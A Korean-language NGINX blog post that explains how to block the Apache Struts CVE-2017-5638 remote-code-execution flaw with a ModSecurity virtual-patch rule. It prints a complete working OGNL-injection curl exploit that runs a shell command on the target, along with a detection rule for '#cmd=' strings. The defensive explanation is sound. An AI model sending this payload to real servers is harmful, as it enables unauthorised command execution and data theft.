ModSecurity를 사용하여 Apache Struts CVE-2017-5638을 가상 패치하기

NGINX | 2018년 1월 22일

[편집자 – NGINX Plus용 NGINX ModSecurity WAF 모듈은 2022년 4월 1일부로 공식 판매가 종료되었으며, 2024년 3월 31일부로 지원이 종료됩니다. 자세한 내용은 블로그의 F5 NGINX ModSecurity WAF 지원 종료 전환 안내<.htmla>를 참조하세요.]

애플리케이션 코드에서 사용하는 라이브러리에서 많은 보안 취약점이 발견됩니다. 라이브러리 코드의 수정 사항을 신속하게 배포하기 어려운 경우, 영향을 받는 라이브러리를 업그레이드할 때까지 ModSecurity를 사용하여 익스플로잇을 차단하고 해당 코드를 "가상 패치"할 수 있습니다.

Apache Struts 애플리케이션 라이브러리의 취약점(CVE-2017-5638은(는) Equifax의 1억 4,300만 개 계정이 유출되는 사태로 이어졌으며, 가상 패치를 적용할 수 있는 익스플로잇의 한 예입니다. 이 취약점은 #cmd= 또는 #cmds= 문자열이 Content-Type, Content-Disposition, 또는 Content-Length HTTP 헤더에 존재하는 것이 특징입니다. (자세한 내용은 아래를 참조하세요.)

ModSecurity를 사용하면 영향을 받는 HTTP 헤더에서 악성 문자열을 검색하는 간단한 규칙으로 가상 패치를 만들 수 있습니다:

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

다음을 사용하여 규칙을 정의합니다: SecRule, 세 가지 매개변수를 지정합니다.

  1. 검색할 요청 헤더로, 세 개의 REQUEST_HEADERS 변수를 OR로 연결한 형태
  2. The PERL‑compatible regular expression (PCRE), as specified by @rx, that searches the specified request headers for strings including #cmd= or #cmds=
  3. 수행할 작업

ModSecurity가 활성 차단 모드로 구성되어 있으면 PCRE와 일치하여 규칙을 트리거하는 모든 트래픽을 차단합니다.

NGINX와 ModSecurity를 함께 사용하는 방법을 알아보려면 다음 eBook을 확인하세요: ModSecurity 3.0 및 NGINX: 빠른 시작 가이드

가상 패치가 필요한 이유

많은 경우, 영향을 받는 코드를 패치하고 다시 테스트한 후 프로덕션 환경에 배포하는 것보다 ModSecurity에 규칙을 배포하는 편이 더 빠릅니다.

Apache Struts 취약점을 예로 들어 보겠습니다. Struts는 운영 체제 패키지가 아닌 애플리케이션 라이브러리이므로 기업의 프로덕션 환경에서 업데이트하는 데 시간이 걸릴 수 있습니다. 새 버전의 Struts로 업그레이드하려면 Struts에 의존하는 각 애플리케이션을 최신 Struts 라이브러리로 다시 빌드하고 테스트해야 합니다. 대규모 조직에는 각각 서로 다른 버전의 Struts 애플리케이션 라이브러리를 사용하는 애플리케이션이 수백 개나 있을 수 있으므로, 모든 애플리케이션이 업데이트될 때까지 취약한 상태로 남게 됩니다.

ModSecurity 사용자 지정 규칙을 적용하면 취약점에 노출되어 있다는 부담 없이 합리적인 일정에 따라 프로덕션 소프트웨어를 신중하게 패치할 수 있습니다. 영향을 받는 모든 소프트웨어의 업데이트가 완료되면 사용자 지정 규칙을 폐기할 수 있습니다.

CVE-2017-5638 익스플로잇의 작동 방식

Apache Struts CVE-2017-5638은 원격 명령 실행(RCE) 취약점입니다. 이러한 유형의 취약점을 악용하면 공격자가 대상 시스템에서 /bin/bash 또는 cmd.exe와 같은 임의의 명령을 실행할 수 있습니다. 이를 통해 공격자는 Java 애플리케이션 서버와 동일한 수준의 접근 권한으로 파일 시스템과 네트워크에서 민감한 데이터를 검색할 수 있습니다. 예를 들어 Java 애플리케이션 서버가 root 권한으로 실행 중이라면 공격자는 대상 시스템에서 root 권한을 갖게 됩니다.

According to the 공식 CVE에 따르면, 이 취약점은 공격자가 잘못된 형식의 Content-Type, Content-Disposition 또는 Content-Length HTTP 헤더를 전송할 때 발생합니다. 이러한 HTTP 헤더가 예상된 값과 일치하지 않으면 Apache Struts에서 예외가 발생합니다. 문제는 예외 처리 코드가 이스케이프 처리되지 않은 잘못된 헤더를 출력하려고 하기 때문에 발생합니다. (여기서 ‘이스케이프 처리되지 않았다’는 것은 의심스러운 명령 앞에 해당 명령의 실행을 방지하는 문자, 즉 이스케이프 문자를 붙이지 않았다는 의미입니다. 일반적으로 코드를 출력할 때는 이러한 처리를 합니다.)

공격자는 Object Graph Navigation Library(OGNL) 표현식을 Content-Type 헤더에 삽입할 수 있습니다. OGNL은 시스템 명령을 실행할 수 있습니다. 이스케이프 처리되지 않은 잘못된 헤더가 출력되면 OGNL 표현식이 평가되고, 해당 표현식에 포함된 모든 시스템 명령이 실행됩니다.

익스플로잇은 일반적으로 아래 curl 명령을 변형한 형태입니다.

curl -H "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

핵심 구문은 명령의 후반부에 있습니다. 문자열 #cmd=와 #cmds=가 각각 한 번씩 나타납니다(위에 강조 표시됨). 각 문자열 뒤에는 실행할 시스템 명령이 옵니다.

요약

가장 바람직한 해결책은 취약한 소프트웨어에 즉시 패치를 적용하는 것입니다. 하지만 운영 환경의 소프트웨어를 패치하려면 시간이 오래 걸릴 수 있으며, 업데이트를 서두르면 위험할 수 있습니다. ModSecurity를 사용해 취약한 소프트웨어에 가상 패치를 적용하면 시간을 벌 수 있습니다.

가상 패치를 사용하면 CVE-2017-5638과 같은 보안 취약점을 악용할 가능성이 있는 트래픽을 차단하도록 사용자 지정 ModSecurity 규칙을 만들 수 있습니다. 이를 통해 공격으로부터 사이트를 보호할 수 있습니다. 그러면 그동안 공격을 받을 걱정 없이 적절한 일정에 따라 프로덕션 서버에 신중하게 패치를 적용할 수 있습니다.

ModSecurity 및 NGINX ModSecurity WAF에 대해 자세히 알아보려면 다음 전자책을 다운로드하세요. ModSecurity 3.0 및 NGINX: 빠른 시작 가이드.

리소스

[NGINX Plus용 NGINX ModSecurity WAF 모듈은 2022년 4월 1일부로 공식 판매가 종료되었으며, 2024년 3월 31일부로 지원 종료로 전환됩니다. 자세한 내용은 블로그의 F5 NGINX ModSecurity WAF 지원 종료 전환 안내<.htmla>를 참조하세요.]


공유
태그: F5 NGINX, Tech

작성자 소개

관련 블로그 게시물

시청하기: KubeCon North America 2023에서의 NGINX Gateway Fabric
NGINX | 2023. 11. 30.

시청하기: KubeCon North America 2023에서의 NGINX Gateway Fabric

이 영상에서는 KubeCon의 NGINX 부스를 찾아가, 저희가 공개한 Kubernetes Gateway API 구현을 살펴봅니다.

F5 NGINX로 대규모 WAF 플릿을 확인하고 관리하는 2가지 방법
NGINX | 2023. 03. 23.

F5 NGINX로 대규모 WAF 플릿을 확인하고 관리하는 2가지 방법

앱 보안을 강화하는 두 가지 방법을 소개합니다. NGINX Management Suite를 통해 WAF 운영에 대한 가시성을 높이고, NGINX App Protect WAF를 활용해 코드형 보안을 구현하는 것입니다.

Ingress 컨트롤러 선택 가이드, 4부: NGINX Ingress Controller 옵션
NGINX | 2021. 09. 27.

Ingress 컨트롤러 선택 가이드, 4부: NGINX Ingress Controller 옵션

개발 주체, 개발 철학, 프로덕션 환경 준비도, 보안 및 지원을 기준으로 어떤 NGINX Ingress 컨트롤러가 가장 적합한지 알아보세요.

진화하는 공격 환경에 NGINX App Protect Denial of Service가 적응하는 방법
NGINX | 2021. 07. 06.

진화하는 공격 환경에 NGINX App Protect Denial of Service가 적응하는 방법

NGINX App Protect Denial of Service(DoS)가 계층 7 DoS 공격을 방어하기 위해 완화 방법을 실시간으로 조정하는 방식을 설명합니다. 정상적인 사용자 행동과 서버 상태에 대한 모델을 생성하여 공격을 나타내는 이상 징후를 감지하고 맞춤형 완화 시그니처를 적용할 수 있습니다.

NGINX Instance Manager를 활용한 대규모 구성 업데이트 및 인증서 관리
NGINX | 2021. 06. 30.

NGINX Instance Manager를 활용한 대규모 구성 업데이트 및 인증서 관리

NGINX Instance Manager 버전 1.0에는 두 가지 새로운 기능이 도입되었습니다. NGINX 인스턴스에 태그와 사용자 역할을 지정하면 전체 그룹에 구성을 한 번에 적용할 수 있습니다. 인증서 검사는 만료 예정인 인증서를 감지하여 서비스 중단을 방지할 수 있도록 인증서를 교체할 수 있게 해줍니다.

Netflix가 자사 CDN의 핵심으로 NGINX를 선택한 이유
NGINX | 2015. 03. 25.

Netflix가 자사 CDN의 핵심으로 NGINX를 선택한 이유

Netflix가 글로벌 콘텐츠 전송 네트워크인 Open Connect의 스트리밍 미디어 기술로 NGINX를 선택한 이유를 NGINX 개발자 Gleb Smirnoff에게서 알아보세요.